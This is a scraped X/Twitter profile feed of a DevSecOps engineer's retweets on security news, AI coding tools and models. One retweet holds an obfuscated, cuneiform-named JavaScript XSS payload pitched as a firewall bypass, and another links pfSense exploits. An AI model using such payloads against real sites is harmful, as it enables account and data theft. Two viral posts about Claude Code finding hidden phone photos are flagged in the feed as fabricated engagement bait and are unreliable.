Senior SRE, DevSecOps - Paranoia is a virtue *** All my tweets are my own and may not reflect the opinion of my employer ***
UK
Joined August 2008
- Tweets7.6K
- Following265
- Followers306
- Likes6K
David Busby retweeted
BREAKING: Claude Code found 14,219 photos of my face on my Android that I never took. Phone was secretly taking them almost every time I picked it up. Even when I was just lying in bed. Even at home.
Not screenshots. Real frames from the front camera. On the train. In the car. At home. When I just grabbed it to check the time.
They were just sitting in a system cache. Timestamps and GPS on them. Nothing in Gallery. Nothing in Recently Deleted.
Plugged the phone into my laptop, made a full backup, told Claude Code to look for any front-camera files that weren’t in my photos. It pulled /data/system/users/0/faceunlock/cache and another folder inside Google Play Services. Over 14 thousand files. Normal ones and infrared from Face Unlock. Every single one had time and location.
Started scrolling. Almost everything from the last 15 months. Then I saw a file created 2 seconds ago. I was still looking at the folder. Phone kept taking photos while I was reading this.
Google and the phone makers say Face Unlock turns everything into a mathematical model and deletes the image right away. On this phone the raw frames were just sitting there. Some of the processes writing to that folder were from system diagnostics. Couple of old apps that still had camera permission could also get in.
Turned off diagnostics, revoked camera access from everything that doesn’t need it, cleared the cache. But how many of these frames already went somewhere else, I don’t know.
If you want to check yours, plug it in, make a full backup or use ADB, and ask Claude to look for front-camera files outside your Gallery. Path above is where mine were.
Claude Code found 145,763 photos I permanently deleted from my iPhone.
Three years of deleted photos and videos still sitting in a hidden cache. Any app with file access can read them.
I plugged my iPhone into my MacBook to run a backup. Claude Code was doing the security audit from my last post and flagged a directory I wasn't even looking for.
PhotoData/Thumbnails. Over 146,000 files. Photos, videos, screenshots. Every single one was something I deleted.
Photos from 2023, 2024 and 2025. The ones I deleted the second after taking them. The ones I cleared from Recently Deleted. The ones I deleted three separate times because I wanted to be sure they were gone. All still there.
Passport photo I took for a visa application in 2023.
Screenshots of my bank app with full account numbers visible.
Private photos I sent someone and immediately deleted after a breakup.
Screenshot of my crypto seed phrase I took temporarily in 2022.
Photo of my ID and credit card I took to remember the numbers and deleted 5 seconds later.
Screenshots of my ex's private Instagram stories I saved and permanently deleted in 2023.
Some were full resolution. All organized by date going back to 2021.
When you delete a photo on iPhone, iOS removes it from your camera roll and Recently Deleted. It keeps a compressed copy in a Spotlight search index cache so your phone can find things when you search. Apple never clears it. Not after 30 days. Not after a year. Never.
They told you it was permanently deleted. It wasn't.
I checked which apps on my phone had Files and Folders access. 23 apps. Weather apps. QR code scanners. PDF readers. A flashlight app I downloaded in 2022. Any one of them could have been reading every photo I ever deleted this entire time.
Went from 23 apps to 3 in about two minutes.
Full step by step below. Takes 2 minutes. Save it so you don't lose it and send it to anyone with an iPhone.
Readers added context they thought people might want to know
The author is posting AI-generated engagement bait text with various random claims of deleted photos or videos on a daily basis.
1. x.com/coolerwave/sta… - "BREAKING: Claude Code found 12,847 photos of my face on my iPhone
2. x.com/coolerwave/sta… - "Claude Code found 214,856 photos and videos I permanently deleted
David Busby retweeted
🚨 Fallo crítico en el kernel de Linux: se puede atacar por red, sin login y sin necesidad de ninguna acción por parte del usuario.
CVE-2026-98432
➡️ CVSS 9.8 (crítico)
➡️ Afecta a la gestión de conexiones TCP/IPv4, el código que atiende cualquier conexión a tu servidor.
➡️ Ubuntu marca vulnerables desde la 16.04 hasta la 26.10, también los kernels de AWS, Azure, Google Cloud y Oracle.
➡️ La corrección todavía está «en preparación» en casi todas.
Si tienes un servidor o un VPS con Linux, sigue los avisos de tu distribución y actualiza el kernel (y reinicia) en cuanto salga el parche.
ubuntu.com/security/CVE-2026…
David Busby retweeted
Essa descoberta foi bizarra, mas vindo da NVIDIA que capava as GPUs na época de mineração de cripto, não é surpresa nenhuma.
Todas as 3090 estão com metade da capacidade bloqueadas por FIRMWARE. Ou seja, se você tiver uma e aplicar o patch, vai desbloquear a outra metade e ficar com uma GPU quase 2x mais potente que antes.
VSF NVIDIA.
Confirmed that 3090 unlock is successful
with 360watt power wall, I got 75T -> 135T (measured in Pytorch)
Which is insane
I used github.com/Zagitta/gpu-unloc… with commit a9b0c75
David Busby retweeted
Are vibe coders even aware of...
1. Race Conditions
2. Deadlocks
3. Database Transactions
4. ACID Properties
5. Isolation Levels
6. Optimistic Locking
7. Pessimistic Locking
8. Connection Pooling
9. N+1 Queries
10. Database Indexes
11. Query Optimization
12. EXPLAIN ANALYZE
13. Foreign Key Constraints
14. Unique Constraints
15. Database Migrations
16. Zero-Downtime Migrations
17. Read Replicas
18. Replication Lag
19. Database Sharding
20. Partitioning
21. Cache Invalidation
22. Redis Eviction
23. Cache Stampedes
24. Distributed Caching
25. Idempotency
26. Retry Mechanisms
27. Exponential Backoff
28. Jitter
29. Circuit Breakers
30. Rate Limiting
31. Load Balancing
32. Horizontal Scaling
33. Vertical Scaling
34. Reverse Proxies
35. Message Queues
36. Dead Letter Queues
37. Background Workers
38. Job Scheduling
39. Event-Driven Architecture
40. Webhook Verification
41. Webhook Retries
42. Eventual Consistency
43. Distributed Transactions
44. Outbox Pattern
45. CQRS
46. Event Sourcing
47. Backpressure
48. Graceful Shutdown
49. Health Checks
50. Distributed Tracing
David Busby retweeted
Chart showing the number of Internet-facing PHP services over time: trends.shodan.io/search?quer…
David Busby retweeted
🔥🚒 pfSense Firewall 0day - 5 RCEs! 🚒 🔥
Exploits
- github.com/abraxas/pfsense-q…
- github.com/abraxas/pfsense-o…
- github.com/abraxas/pfsense-c…
- github.com/abraxas/pfsense-l…
- github.com/abraxas/pfsense-i…
Writeups
- abraxaslabs.tech/research/pf…
- abraxaslabs.tech/research/pf…
- abraxaslabs.tech/research/pf…
- abraxaslabs.tech/research/pf…
- abraxaslabs.tech/research/pf…
🤖 Made with AI
David Busby retweeted
🚨 BREAKING: Microsoft's October 2026 Patch Tuesday is MASSIVE!
Microsoft has fixed a record-breaking 1,411 security vulnerabilities, including 70 critical flaws and 3 zero-days, one of which is actively exploited in attacks.
🔥 317 remote code execution flaws
⚠️ 677 privilege escalation flaws
🛡️ 40 security feature bypass flaws
💻 Time to get patching!
David Busby retweeted
UPDATE: I can confirm that the Ledger supply chain is compromised in Europe as well. @Ledger should initiate an immediate product recall to protect users.
I just purchased a second device from a different Mediamarkt location today, recorded the unboxing process, and discovered spyware once again (video linked in the second tweet).
The device was compromised in the exact same manner, featuring identical modifications (such as additional cables and an LTE module). This indicates its a widespread issue rather than an isolated incident, potentially affecting Ledger inventory across MediaMarkt and Saturn stores throughout Europe (comprising over 1,000 stores across 11 countries).
My initial hypothesis was that these devices were returns that looked unopened to the employees and were just sold again as new however, a MediaMarkt employee confirmed that the device I purchased was not a return, and that returned Ledgers are sent directly back to the manufacturer rather than resold.
Store records show the inventory originated from Aqipa GmbH. While Ledger's CTO was unsure if Aqipa serves as the direct distributor between Ledger and MediaMarkt, it appears to be the case. Given that Aqipa distributes across Europe, any physical retail store receiving stock through them may be at risk.
I sent the first ledger to mark and the second one is going to ledger now, so that they can analyse it.
If you purchased a ledger from anyone other than the official ledger store, make sure to check your device!!
David Busby retweeted
T3MP3ST
Offensive security tool, built for authorized testing, research, and education. Point it only at systems you own or have explicit, written permission to test.
Resource/Ctedit: github.com/elder-plinius/T3M…
David Busby retweeted
GLM-5.3 Flash Abliterated is FREE 😳
a new research variant of GLM-5.3 Flash is available to test
- 1M context
- 131K max output
- 33.5 tok/s
- free access
- OpenAI-compatible API
> useful for coding and AI research
> runs directly in the cloud
try it here: platform.experientiallabs.ai…
free access is live 👀
David Busby retweeted
RE: Token usage in Hackbots
Can easily burn a full CC Max Sub on one client with 10-20 assets. $200 Subsidized at sub level, $8,000 on API.
Obv Codex/ChatGPT rates are even higher now, but @xssdoctor swears by those models. Says even with price hike it's worth.
David Busby retweeted
A little over a week since launch, OrcaSAQ-2 Cyber 27B is among the most trending models globally on Hugging Face. Again.
15.7GB.
262K context.
94.4% Top-1 fidelity.
Built for cyber.
We believe it’s the most capable cyber model in its size class (<16GB).
Small enough to run locally. Strong enough to matter.
Try it out: huggingface.co/orcarouter/Or…
Today we’re announcing OrcaSAQ-2 27B
High-fidelity mixed-precision Qwen3.8 for long-horizon agents.
55.59 → 12.06 GB — 78.3% smaller / 4.61×
3.21 bpw · 93.2% Top-1 agreement
70.0 SWE-bench Verified
58.4 Terminal-Bench 2.1
262K context
A 27B model for coding, terminal, browser, security and multi-tool agents — in a footprint you can actually deploy.
SOTA agentic capability density among similarly sized models we evaluated.
huggingface.co/orcarouter/Or…
David Busby retweeted
Opus 5.5 + Jev make this AI stack look f…cking illegal
10 GitHub repos for building everything around the model
01 claude-code-router
▸ github.com/musistudio/claude…
→ routes every request to the model you pick, Opus only where it counts
02 litellm
▸ github.com/BerriAI/litellm
→ one gateway in front of 100+ models, spend tracked per call
03 spec-kit
▸ github.com/github/spec-kit
→ spec first, plan second, code last
04 claude-task-master
▸ github.com/eyaltoledano/clau…
→ your PRD becomes tasks the agent works through one by one
05 superpowers
▸ github.com/obra/superpowers
→ a full dev method built from skills: plan, test, then call it done
06 skills
▸ github.com/anthropics/skills
→ Anthropic's own skills, folders Claude loads only when the job needs them
07 graphiti
▸ github.com/getzep/graphiti
→ memory as a temporal knowledge graph, not a dump
08 langgraph
▸ github.com/langchain-ai/lang…
→ agents as graphs: state, branches, back edges
09 E2B
▸ github.com/e2b-dev/E2B
→ AI-written code runs in isolated cloud sandboxes, not on your machine
10 promptfoo
▸ github.com/promptfoo/promptf…
→ evals and red teaming before anything ships
the architecture:
route → spec → tasks → skills → memory → graph → sandbox → evals
I'd split the stack like this:
route:
claude-code-router → litellm
plan:
spec-kit → claude-task-master
work:
superpowers → skills
state:
graphiti → langgraph
safety:
E2B → promptfoo
Opus 5.5 plans and ships. the forks in between, which file, which tool, retry or stop, go to Jev
everyone posts the model and the prompt pack
the stack around it decides whether your agent is still running next week ⭣
David Busby retweeted
Claude Code just shipped mods...
I made one that connects you to a multiplayer Doom server while Claude is busy.
Every other player in the match is a person waiting for their Claude to finish.
David Busby retweeted
An XSS payload, Cuneiform-alphabet based. Bypass WAF
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
#bugbountytips #bugbountytip
David Busby retweeted
GLM-5.3 has helped defend 389 open-source projects, with 4,249 potential vulnerabilities found so far.
OpenVuln is still running. The service remains free, and findings go privately to maintainers.
huggingface.co/spaces/zai-or…
